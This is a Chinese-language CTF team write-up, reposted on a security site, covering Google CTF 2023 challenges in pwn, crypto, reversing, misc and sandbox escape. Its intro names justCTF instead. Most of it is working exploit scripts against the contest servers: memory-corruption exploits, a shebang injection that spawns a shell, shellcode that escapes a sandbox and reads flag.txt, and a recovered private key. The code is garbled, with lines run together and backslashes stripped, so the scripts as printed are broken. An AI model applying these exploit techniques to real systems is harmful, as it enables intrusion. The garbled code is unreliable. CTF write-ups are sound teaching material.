Google CTF 2023 Writeup -Polaris战队

admin 2023年6月27日14:39:07评论126 views字数 19786阅读65分57秒阅读模式

在本次2023年的 justCTF 国际赛上

星盟安全团队的Polaris战队和Chamd5的Vemon战队联合参赛,合力组成VP-Union联合战队

取得了第37名的成绩。

PWN

ubf

a1->offset可为负数,导致向上溢出。

unsigned __int64 __fastcall fix_corrupt_booleans(node2 *a1){  unsigned __int64 result; // rax  unsigned __int64 v2; // [rsp+10h] [rbp-18h]  char *v3; // [rsp+18h] [rbp-10h]  int i; // [rsp+24h] [rbp-4h]
 v3 = (char *)(a1->buf + a1->offset);  v2 = a1->buf + a1->size;  for ( i = 0; ; ++i )  {    result = (unsigned int)a1->len;    if ( i >= (int)result )      break;    result = (unsigned __int64)&v3[i];    if ( result >= v2 )      break;    v3[i] = v3[i] != 0;  }  return result;}

利用脚本:

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('ubf.2023.ctfcompetition.com', 1337)sh.recvuntil(b'encoded:')payload = b''payload += p32(5) + p8(115) + p16(1) + p16(2) + p16(5) + b'$FLAG'payload += p32(0x28) + p8(98) + p16(1) + p16(0xff72) + b'x01'sh.sendline(base64.b64encode(payload))
sh.interactive()

write-flag-where

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('wfw1.2023.ctfcompetition.com', 1337)
sh.recvuntil(b'have a shot.n')image_addr = int(sh.recvuntil(b'-', drop=True), 16)success('image_addr: ' + hex(image_addr))sh.sendline(('0x%lx %u' % (image_addr+0x21e0, 80)).encode())
sh.interactive()

write-flag-where2

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='error')
def leak(offset, chr):    sh = remote('wfw2.2023.ctfcompetition.com', 1337)        sh.recvuntil(b'fluffn')    image_addr = int(sh.recvuntil(b'-', drop=True), 16)    sh.recvuntil(b'nnn')    sh.send(('0x%lx %un' % (image_addr+0x20BC-offset, offset+1)).encode().ljust(0x40, b'0'))    sh.send(('%cx%lx %un' % (chr, image_addr, 0)).encode().ljust(0x40, b'0'))    try:        sh.recvn(1, timeout=1)        sh.close()        return True    except EOFError:        sh.close()        return False
table = '_{}?' + string.digits + string.ascii_lowercase + string.ascii_uppercaseflag = 'CTF{impr355iv3_6ut_can_y0u_s01v3_cha113ng3_3?}'while(True):    find = False    for chr in table:        if leak(len(flag), chr):            find = True            flag += chr            print(flag)            break
   if not find:        break

write-flag-where3

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('wfw3.2023.ctfcompetition.com', 1337)result = sh.recvuntil(b'.so').split(b'n')[-1]libc_addr = int(result[:12], 16)success('libc_addr: ' + hex(libc_addr))sh.recvuntil(b'nnn')
sh.send(('0x%lx %un' % (libc_addr + 0x218e10-0x70, 0x78)).encode().ljust(0x40, b'0'))sh.send(('0x%lx %un' % (libc_addr + 0x218e10, 1)).encode().ljust(0x40, b'0'))sh.send(('0x%lx %un' % (libc_addr + 0x115110+1, 1)).encode().ljust(0x40, b'0'))sh.send(('0x%lx %un' % (libc_addr + 0x114A28, 1)).encode().ljust(0x40, b'0'))sh.send(('0x%lx %un' % (libc_addr + 0x114A67, 1)).encode().ljust(0x40, b'0'))
sh.send(('0x%lx %un' % (0, 0x70)).encode().ljust(0x13, b'0') + p32(1337))
sh.interactive()

storygen

顶部#可以执行任意程序

!/usr/bin/python3 -cimport os;os.system("sh");#

GRADEBOOK

update_grade函数可以修改结构体,导致溢出。

void __fastcall update_grade(__int64 *ptr_offset, __int64 i){  __int64 v2; // [rsp+10h] [rbp-10h] BYREF  grade *v3; // [rsp+18h] [rbp-8h]
 if ( *ptr_offset )  {    if ( i == grade_num )    {      v3 = (grade *)((char *)addr + *ptr_offset);      v2 = 0LL;      output("NEW GRADE:n");      __isoc99_scanf("%2s", &v2);      *(_WORD *)v3->grade = v2;                 // Hijack struct    }  }}

利用脚本:

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')
def remove_grade():    sh.sendlineafter(b'QUITnn', b'3')    sh.sendlineafter(b'WHICH GRADE:n', b'1')
def upgrade_grade():    sh.sendlineafter(b'QUITnn', b'2')    sh.sendlineafter(b'WHICH GRADE:n', b'1')    sh.sendlineafter(b'NEW GRADE:n', b'x40')
def add_grade(addr):    sh.sendlineafter(b'QUITnn', b'1')    sh.sendlineafter(b'CLASS:n', b'0')    sh.sendlineafter(b'COURSE TITLE:n', b'xff' * 7 + b'' + p64(addr) + p64(0))    sh.sendlineafter(b'GRADE:n', b'0')    sh.sendlineafter(b'TEACHER:n', b'0')    sh.sendlineafter(b'ROOM:n', b'0')    sh.sendlineafter(b'PERIOD:n', b'0')
sh = remote('gradebook.2023.ctfcompetition.com', 1337)sh.sendlineafter(b'PLEASE LOGON WITH USER PASSWORD:n', b'pencil')sh.sendlineafter(b'3. QUITnn', b'2')sh.sendlineafter(b'NTER FILENAME:n', b'/tmp/grades_'.ljust(44, b'a'))sh.sendlineafter(b'ENTER FILE SIZE:n', str(0x100).encode())sh.send(flat({0:b'G', 0x48:0xf0, 0x50:0x3a, 0x58:0xf0, 0x3a+0x2c:0x20202020}, filler=b'0', length=0x100))sh.sendlineafter(b'3. QUITnn', b'1')
sh.sendlineafter(b'NTER FILENAME:n', b'/tmp/grades_'.ljust(44, b'a'))sh.recvuntil(b'0' + b' ' * 0x10)stack_addr = u64(sh.recvn(6) + b'00')success('stack_addr: ' + hex(stack_addr))
upgrade_grade()
add_grade(stack_addr+0x38-0x00004752ade50000)sh.recvuntil(b'n   ')image_addr = u64(sh.recvn(6) + b'00') - 0x2386success('image_addr: ' + hex(image_addr))
sh.sendlineafter(b'QUITnn', b'5')
sh.sendlineafter(b'3. QUITnn', b'2')sh.sendlineafter(b'NTER FILENAME:n', b'/tmp/grades_'.ljust(44, b'b'))sh.sendlineafter(b'ENTER FILE SIZE:n', str(0x100).encode())sh.send(flat({0:b'G', 0x48:0xf0, 0x50:0x3a, 0x58:0xf0, 0x3a+0x2c:0x20202020,              0x48+0x80:0xffffffffffffff, 0x50+0x80:0x3a, 0x58+0x80:stack_addr + 8 - 0x00004752ade50080}, filler=b'0', length=0x100))sh.sendlineafter(b'3. QUITnn', b'1')sh.sendlineafter(b'NTER FILENAME:n', b'/tmp/grades_'.ljust(44, b'b'))upgrade_grade()
add_grade(image_addr+0x50f0-0x1e-0x00004752ade50000)
sh.sendlineafter(b'QUITnn', b'2')sh.sendlineafter(b'WHICH GRADE:n', b'1')sh.sendlineafter(b'NEW GRADE:n', b'x80')
sh.sendlineafter(b'QUITnn', b'1')sh.sendlineafter(b'CLASS:n', p64(image_addr + 0x16e1))
sh.interactive()

CRYPTO

LEAST COMMON GENOMINATOR?

公钥解析

LCG

from gmpy2 import gcd, invertfrom Crypto.Util.number import *
E = 65537N = 10663197782188755187683519128391607889384236984841159980368295444757556251666173181966270935627381363634363152017932100870866073743196496182631686860974529519304898483583880797787662017633083156395595834399833548697123723014690019039843286516441722069672629491734333533874814655021750465470744221908153042891598629847474248035637833322061522018106952433195747728295433960640630861246440503259390376775374597599893181929337896828585045200809527092809746018806372033463639511758548910283175609247004446838778595246305426570138737826179346237355482797652195577697810275921391495040635386160960077290295503041318571091585994232128977189250560450541724526298324540333633756525782039764692046496665886338829810667477580556894564708344208454824227841439832096019161139930247745872364451624685509376111571650368725564985474387879414080347347860850162991841345901292668284154455326375190710973306072342463052980587717861754724857153296737480485351289440257347649463959856275061657492903860650820592573032713540474706170687783458640870091611869081448943812812946839710972240290444677129959352614435646729998203754847928052523568784250017348717982594389028978174915940120215557880850880860400503991453968452316505964854586987874049061874850121seed = 211286818345627549183608678726370412218029639873054513839005340650674982169404937862395980568550063504804783328450267566224937880641772833325018028629959635data = [    2166771675595184069339107365908377157701164485820981409993925279512199123418374034275465590004848135946671454084220731645099286746251308323653144363063385,    6729272950467625456298454678219613090467254824679318993052294587570153424935267364971827277137521929202783621553421958533761123653824135472378133765236115,    2230396903302352921484704122705539403201050490164649102182798059926343096511158288867301614648471516723052092761312105117735046752506523136197227936190287,    4578847787736143756850823407168519112175260092601476810539830792656568747136604250146858111418705054138266193348169239751046779010474924367072989895377792,    7578332979479086546637469036948482551151240099803812235949997147892871097982293017256475189504447955147399405791875395450814297264039908361472603256921612,    2550420443270381003007873520763042837493244197616666667768397146110589301602119884836605418664463550865399026934848289084292975494312467018767881691302197]
s = data
t = []for i in range(1, len(s)):    t.append(s[i] - s[i - 1])
tt = []for i in range(1, len(t) - 1):    tt.append(t[i + 1] * t[i - 1] - t[i] * t[i])
n = tt[0]for i in tt:    n = gcd(n, i)
lcg_n = abs(n)a = (s[2] - s[1]) * invert((s[1] - s[0]), lcg_n) % lcg_nb = (s[1] - a * s[0]) % lcg_nprimes_n = 1primes_arr = []while True:    for i in range(8):        while True:            seed = (seed*a+b) % lcg_n            prime_candidate = seed            if not isPrime(prime_candidate):                continue            elif prime_candidate.bit_length() != 512:                continue            else:                primes_n *= prime_candidate                primes_arr.append(prime_candidate)                break
   # Check bit length    if primes_n.bit_length() > 4096:        print("bit length", primes_n.bit_length())        primes_arr.clear()        primes_n = 1        continue    else:        break
# Create public key 'n'n = 1for j in primes_arr:    n *= jprint("[+] Public Key: ", n)print("[+] size: ", n.bit_length(), "bits")assert n == N# Calculate totient 'Phi(n)'phi = 1for k in primes_arr:    phi *= (k - 1)
# Calculate private key 'd'd = pow(E, -1, phi)
with open('4e90c59c2c12ac422f0b83094cca2c3e5c4c7cce464dddc5cb2ad391155f11c96a183290a289dfe1c64cc9e3cd467706f07e621904588ca4def3a4f6906234b7/flag.txt', 'rb') as f:    c = bytes_to_long(f.read()[::-1])m = int(pow(c,d,n))flag = long_to_bytes(m)print(flag)  # b'CTF{C0nGr@tz_RiV35t_5h4MiR_nD_Ad13MaN_W0ulD_b_h@pPy}'

PRIMES

爆破_的位置,减小x使得x小于q

取余运算确定明文各位

import libnumfrom itertools import product, combinationsfrom string import printableprintable = printable[:-6]

def to_bits(m):    _bin = lambda b : [1 if b & (1 << n) else 0 for n in range(7)]    return sum([_bin(b) for b in m], [])
def gen_primes(r, n):    primes = Primes()[:n]    bound = prod(primes[n - r:])    return primes, next_prime(bound)
def prod_exp(p, q, b):        return prod(

^b[i] for i in range(len(p))]) % q
def encode(r, n, m):    p, q = gen_primes(r, n)    return p, q, prod_exp(p, q, to_bits(m))
def l2b(a:list):    a = [str(i) for i in a]    tmp = ''    for i in range(len(a)//7):        tmp += '0' + ''.join(a[i*7:(i+1)*7][::-1])    return libnum.n2s(int(tmp,2))
m = b"I have a sweet flag for you: CTF{YkDOLIStjpjP5Am1SXDt5d2r9es3b5KZP47v8rXF}"known = b'I have a sweet flag for you: CTF{'ml = to_bits(m)p, q, x = encode(131, 7*len(m), m)
x = 0x947062E712C031ADD0B60416D3B87D54B50C1EFBC8DBB87346F960B242AF3DF6DD47406FEC98053A967D28FE91B130FF0FE93689122931F0BA6E73A3E9E6C873B8E2344A459244D1295E99A241E59E1EEA796E9738E6B1EDEED3D91AE6747E8ECA634C030B90B02BAF8AE0088058F6994C7CAC232835AC72D8B23A96F10EF03D74F82C49D4513423DAC298698094B5C631B9C7C62850C498330E9D112BB9CAA574AEE6B0E5E66D5B234B23C755AC1719B4B68133E680A7BCF48B4CFD0924D
for i in range(len(known)*7):    if ml[i]:        x = (x * inverse_mod(p[i], q)) % q        for i in range(-7,0):  # }    if ml[i]:        x = (x * inverse_mod(p[i], q)) % q        tp = p[len(known)*7:-7]r = 0  # 爆破中末尾字符的长度rr = 5 # 爆破中下划线的出现次数num_ = to_bits(b'_')for i in product(printable, repeat=r):    i = ''.join(i).encode()
   tmp_xx = x    tmp_b = to_bits(i)    for k in range(len(tmp_b)):  # 消字符        if tmp_b[k]:            tmp_xx = (tmp_xx * inverse_mod(tp[k-7*r], q)) % q

   for tt in combinations(range(1, 40-r), rr):        real_ml = []        tmp_x = tmp_xx        for t in tt:  # 消下划线            for k in range(len(num_)):                if num_[k]:                    tmp_x = (tmp_x * inverse_mod(tp[7*t+k], q)) % q                                    if int(tmp_x).bit_length() <= 1515:            for j in tp:                if len(real_ml) == 7:                    if all([i==0 for i in real_ml]):                        break                if (tmp_x % j) == 0:                    real_ml.append(1)                else:                    real_ml.append(0)                                if r != 0:                tttt = l2b(real_ml)[:-r]            else:                tttt = l2b(real_ml)            if (len(real_ml) > 7) and (len(str(tttt))<60) and (tttt.count(b'x00')<10):                print(i)                print(real_ml)                print(l2b(real_ml))                print(tttt.replace(b'x00', b'_')+i)                  # w0W_c0Nt1nUed_fr4Ct10ns_suR3_Ar3_fUn_Huh                # CTF{w0W_c0Nt1nUed_fr4Ct10ns_suR3_Ar3_fUn_Huh}

MYTLS

使用guest登录在write-only file storage的时候可以利用代码达到一个爆破

server-ecdhkey.pem的目的

爆破的原理就是241的长度我们可以覆盖前面240个保留最后一个原本的字符串

然后去爆破sha256,先爆破文件长度是241

接着爆破了内容

-----BEGIN PRIVATE KEY-----MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgodXSjxjUm89w/y6mhRc9c7aOOYIgy5m4K++AXeErUKahRANCAARNWVuTXe/JBFanevD4MMlIDyZ8xXKznyUf63kGe9RBfFPek03cHJhEM5Fhe/1hHS2Jz2+R9zZWHd5gVYWFf2uC-----END PRIVATE KEY-----

得到了私钥之后按照原本的逻辑去写一个交互

from cryptography import x509from cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.primitives import hashesfrom cryptography.hazmat.primitives import hmacfrom cryptography.hazmat.primitives.asymmetric import ecfrom cryptography.hazmat.primitives.asymmetric import paddingfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.primitives.kdf.hkdf import HKDFfrom Crypto.Util.number import *from secrets import token_hexfrom pwn import *def print_encrypted(payload, iv, key):  cipher = Cipher(      algorithms.AES(key),      modes.CBC(binascii.unhexlify(iv)))  decryptor = cipher.decryptor()  payload = long_to_bytes(int(payload,16))  return decryptor.update(payload).strip(b'x00')tube = remote("mytls.2023.ctfcompetition.com", 1337)with open('ca-crt.pem', 'rb') as ca_file:    ca = x509.load_pem_x509_certificate(ca_file.read())with open('server-ecdhcert.pem', 'rb') as server_cert_file:    server_cert_content = server_cert_file.read()    server_cert = x509.load_pem_x509_certificate(server_cert_content)ca.public_key().verify(        server_cert.signature,        server_cert.tbs_certificate_bytes,        padding.PKCS1v15(),        server_cert.signature_hash_algorithm)with open('server-ecdhkey.pem', 'rb') as server_key_file:    server_key = serialization.load_pem_private_key(server_key_file.read(),                                                    None, default_backend())tube.recvuntil(b"Please provide the client certificate in PEM format:n")for i in open('admin-ecdhcert.pem', 'rb').read().split(b"n"):    tube.sendline(i)tube.recvuntil(b"Please provide the ephemeral client random:n")client_ephemeral_random = token_hex(16)tube.sendline(client_ephemeral_random.encode())client_ephemeral_key = ec.generate_private_key(ec.SECP256R1(),default_backend())client_ephemeral_public_key = client_ephemeral_key.public_key()client_ephemeral_public_key_pem = client_ephemeral_public_key.public_bytes(encoding=serialization.Encoding.PEM,format=serialization.PublicFormat.SubjectPublicKeyInfo)tube.recvuntil(b"Please provide the ephemeral client key:n")for i in client_ephemeral_public_key_pem.split(b"n"):    tube.sendline(i)client_cert = x509.load_pem_x509_certificate(open('admin-ecdhcert.pem', 'rb').read())tube.recvuntil(b"Server ephemeral random:n")server_ephemeral_random = tube.recvline().strip(b"n").decode()tube.recvuntil(b'Server ephemeral key:n')server_ephemeral_public_key = serialization.load_pem_public_key(tube.recvuntil(b'-----END PUBLIC KEY-----nn'))server_ephemeral_secret = client_ephemeral_key.exchange(ec.ECDH(), server_ephemeral_public_key)server_secret = server_key.exchange(ec.ECDH(), client_cert.public_key())derived_key = HKDF(algorithm=hashes.SHA256(),length=32,salt=b'SaltyMcSaltFace',info=b'mytls').derive(server_ephemeral_secret +server_secret +client_ephemeral_random.encode('utf-8') +server_ephemeral_random.encode('utf-8'))client_hmac = hmac.HMAC(derived_key, hashes.SHA256())client_hmac.update(b'client myTLS successful!')tube.recvuntil(b"Please provide the client HMAC:n")tube.sendline(binascii.hexlify(client_hmac.finalize()))tube.recvuntil(b"Server HMAC:n")w = tube.recvline().strip(b"n")server_hmac = hmac.HMAC(derived_key, hashes.SHA256())server_hmac.update(b'server myTLS successful!')server_hmac.verify(binascii.unhexlify(w))r=tube.recvline().strip(b"n")print(print_encrypted(r, server_ephemeral_random, derived_key))

RE

ZERMATT

代码写的很难看,但是仔细观察可以发现每一次操作前面都会出现03xx3O00的格式

猜测这是固定的,然后搜索一下read

print中间的,发现存在着两段数据

其实基本的操作符很少

猜测一下常用的

在使用异或的时候发现了

CTF{字样,成功得到flag

from Crypto.Util.strxor import *from Crypto.Util.number import *s1 = "DF17EB31E4E81CC12FC4EF37F223D1C334CC39FAF22CD915C4C321D43EC0FF2CC92FFAFE22DE2FFAEF22C32EC7F33BF22FD6FF22DD2FD8"s2 = "9C43AD4AA5"s1=long_to_bytes(int(s1,16))s2=long_to_bytes(int(s2,16))k=b''for i in range(len(s1)//len(s2)):   k+=strxor(s1[i*len(s2):(i+1)*len(s2)],s2)print(k)#CTF{At_least_it_was_not_a_bytecode_base_sandbox_escape}

MISC

PAPAPAPA

前期各种lsb、盲水印、binwalk、zsteg都不行 后来想到手动改宽高 

Google CTF 2023 Writeup -Polaris战队
Google CTF 2023 Writeup -Polaris战队

于是基于这张图片2.jpg 写脚本爆破jpg宽度

(此时这张图片的高度是0200 宽度0300 并且宽高的字节位置也发生了变化)

import structfilename = input("file:")with open(filename, 'rb') as f:    all_b = f.read()    #w = all_b[159:161]    #h = all_b[157:159]    for i in range(512,1500):        name = str(i) + ".jpg"        f1 = open(r"./output/" + name,"wb")        im = all_b[:201]+struct.pack('>h',i)+all_b[203:]        f1.write(im)        f1.close()

得到flag

Google CTF 2023 Writeup -Polaris战队

CTF{rearview-monorail-mullets-backroom-stopped}

SYMATRIX

cython里面实际上包含了python源代码

只不过有点像编译过程被拆开来了

我们可以搜索encoder.py去依次寻找

恢复原python代码

from PIL import Imagefrom random import randintimport binasciidef hexstr_to_binstr(hexstr):    n = int(hexstr, 16)    bstr = ''    while n > 0:        bstr = str(n % 2) + bstr        n = n >> 1    if len(bstr) % 8 != 0:        bstr = '0' + bstr    return bstr
def pixel_bit(b):    return tuple((0, 1, b))
def embed(t1, t2):    return tuple((t1[0] + t2[0], t1[1] + t2[1], t1[2] + t2[2]))
def full_pixel(pixel):    return pixel[1] == 255 or pixel[2] == 255print("Embedding file...")bin_data = open("./flag.txt", 'rb').read()data_to_hide = binascii.hexlify(bin_data).decode('utf-8')base_image = Image.open("./original.png")x_len, y_len = base_image.sizenx_len = x_len * 2new_image = Image.new("RGB", (nx_len, y_len))base_matrix = base_image.load()new_matrix = new_image.load()binary_string = hexstr_to_binstr(data_to_hide)remaining_bits = len(binary_string)nx_len = nx_len - 1next_position = 0for i in range(0, y_len):    for j in range(0, x_len):        pixel = new_matrix[j, i] = base_matrix[j, i]        if remaining_bits > 0 and next_position <= 0 and not full_pixel(pixel):            new_matrix[nx_len - j, i] = embed(pixel_bit(int(binary_string[0])),pixel)            next_position = randint(1, 17)            binary_string = binary_string[1:]            remaining_bits -= 1        else:            new_matrix[nx_len - j, i] = pixel            next_position -= 1new_image.save("./symatrix.png")new_image.close()base_image.close()print("Work done!")exit(1)

然后写一个脚本逆一下过程就能恢复flag

from PIL import Imageimport binascii
def get_lsb(pixel,pixel2):    return pixel2[2]-pixel[2]
def extract_data(image_path):    # 从图像中提取隐藏的数据    image = Image.open(image_path)    width, height = image.size    index=image.load()    data = ""    for i in range(height):        for j in range(width//2):            pixel = index[j,i]            if(pixel!=index[width-1-j,i]):               lsb = get_lsb(pixel,index[width-1-j,i])               data += str(lsb)    image.close()    return data
def binary_to_hex(binary_str):    # 将二进制字符串转换为十六进制字符串    hex_str = hex(int(binary_str, 2))[2:]    return hex_str
def hex_to_ascii(hex_str):    # 将十六进制字符串转换为ASCII字符串    ascii_str = binascii.unhexlify(hex_str).decode('utf-8')    return ascii_str
# 从图片中提取数据data = extract_data("./symatrix.png")print(hex_to_ascii(binary_to_hex(data)))#CTF{W4ke_Up_Ne0+Th1s_I5_Th3_Fl4g!}

Sandbox

fastbox

句柄未清理干净,可以和forkClient进行通信。

通过句柄4可以进行协议同步

并设置hostname来伪造forkRequest请求。

$ ls -l /proc/67/fdtotal 0lrwx------ 1 1000 1000 64 Jun 26 02:27 0 -> 'socket:[124445]'lrwx------ 1 1000 1000 64 Jun 26 02:27 1 -> 'socket:[124445]'lrwx------ 1 1000 1000 64 Jun 26 02:27 1023 -> 'socket:[69962]'lrwx------ 1 1000 1000 64 Jun 26 02:27 1337 -> '/memfd:payload (deleted)'lrwx------ 1 1000 1000 64 Jun 26 02:27 2 -> 'socket:[124445]'lrwx------ 1 1000 1000 64 Jun 26 02:27 4 -> 'socket:[69961]'

利用脚本:

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('localhost', 9541)
sh.sendlineafter(b'Payloads to execute [0-5]: ', str(2).encode())
sh.sendlineafter(b'Hostname: ', b'google')payload = asm('''            mov edi, 4    lea rsi, [rsp-0x1000]    mov edx, 4+8+18    mov eax, 0    syscall
   mov edi, 1    lea rsi, [rsp-0x1000]    mov edx, eax    mov eax, 1    syscall
   mov edi, 1    mov eax, 231    syscall ;// exit
''')sh.sendlineafter(b'Payload size in bytes [<1MiB]: ', str(len(payload)).encode())sh.send(payload)
fake_protocol = b"30x03x20x80x80x80xe4x0626224"230:6google@H1"hostname = p32(0x80000102) + p64(len(fake_protocol) + 4) + fake_protocol
time.sleep(1)  
payload = asm('''
   xor eax, eax    push rax    mov rax, 0x7478742e67616c66    push rax    ;// "flag.txt"
   mov rdi, rsp    xor eax, eax    mov esi, eax    mov al, 2    syscall ;// open
   push rax    mov rsi, rsp    xor eax, eax    mov edx, eax    inc eax    mov edi, eax    mov dl, 8    syscall ;// write open() return value
   pop rax    test rax, rax    js over
   mov edi, eax    mov rsi, rsp    mov edx, 0x01010201    sub edx, 0x01010101    xor eax, eax    syscall ;// read
   mov edx, eax    mov rsi, rsp    xor eax, eax    inc eax    mov edi, eax    syscall ;// write
over:    xor edi, edi    mov eax, 0x010101e8    sub eax, 0x01010101    syscall ;// exit    ''')
sh.sendlineafter(b'Hostname: ', hostname)sh.sendlineafter(b'Payload size in bytes [<1MiB]: ', str(len(payload)).encode())sh.send(payload)
sh.interactive()

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

Google CTF 2023 Writeup -Polaris战队

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月27日14:39:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Google CTF 2023 Writeup -Polaris战队https://cn-sec.com/archives/1837725.html

发表评论

匿名网友 填写信息